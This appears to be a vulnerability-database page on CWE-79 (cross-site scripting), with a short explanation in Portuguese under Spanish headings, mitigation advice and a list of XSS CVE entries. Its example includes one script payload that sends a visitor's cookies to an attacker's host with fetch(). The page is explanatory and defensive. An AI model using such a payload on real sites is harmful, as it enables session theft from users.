Fallos del tipo CWE-79

29.496 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-0363MEDIUMScheduled Announcements Widget < 1.0 - Contributor+ Stored XSSEPSS 0.4%CVE-2026-73156MEDIUMcti-transmute Sunburst and Treemap Tooltips Allow Cross-Site Scripting via Crafted Conversion DataEPSS 0.4%CVE-2026-40872CRITICALmailcow: dockerized vulnerable to stored XSS in autodiscover logs email address fieldEPSS 0.4%CVE-2026-75529MEDIUMStored Cross-Site Scripting via MIME-Type Confusion in PDF Downloads of PandoraEPSS 0.4%CVE-2011-10036MEDIUMNagios XI < 2011R1.9 XSS via backend_url JavaScript Link HandlerEPSS 0.4%CVE-2023-0542MEDIUMCustom Post Type List Shortcode <= 1.4.4 - Contributor+ Stored XSSEPSS 0.4%CVE-2011-10040MEDIUMNagios XI < 2011R1.9 XSS via Status/Report Page Link FunctionsEPSS 0.4%CVE-2022-44153MEDIUMRapid Software LLC Rapid SCADA 5.8.4 is vulnerable to Cross Site Scripting (XSS).EPSS 0.4%CVE-2023-29015MEDIUMGoobi viewer Core has Cross-Site Scripting Vulnerability in User Comments EPSS 0.4%CVE-2024-9083MEDIUMSourceCodester Employee Management System add-admin.php cross site scriptingEPSS 0.4%CVE-2025-24735HIGHWordPress Chatra Live Chat + ChatBot + Cart Saver plugin <= 1.0.11 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2024-1282MEDIUMEmail Encoder – Protect Email Addresses and Phone Numbers <= 2.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-31544MEDIUMA stored cross-site scripting (XSS) vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary JavaScEPSS 0.4%CVE-2024-24035MEDIUMCross Site Scripting (XSS) vulnerability in Setor Informatica SIL 3.1 allows attackers to run arbitrary code via the hmessage parameter.EPSS 0.4%CVE-2026-105288MEDIUMfeelec-yishu feelcrm-os Crm Endpoint functions.php index cross site scriptingEPSS 0.4%CVE-2018-17883MEDIUMAn issue was discovered in Open Ticket Request System (OTRS) 6.0.x before 6.0.12. An attacker could send an e-mail message with a malicious EPSS 0.4%CVE-2023-26912MEDIUMCross site scripting (XSS) vulnerability in xenv S-mall-ssm thru commit 3d9e77f7d80289a30f67aaba1ae73e375d33ef71 on Feb 17, 2020, allows locEPSS 0.4%CVE-2024-8546MEDIUMElementsKit Elementor addons <= 3.2.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Video WidgetEPSS 0.4%CVE-2023-0736MEDIUMCross-site Scripting (XSS) - Stored in wallabag/wallabagEPSS 0.4%CVE-2022-40011MEDIUMTypora through 1.3.8 allows XSS if a document containing an SVG element with an attacker-controlled onload attribute is exported and then usEPSS 0.4%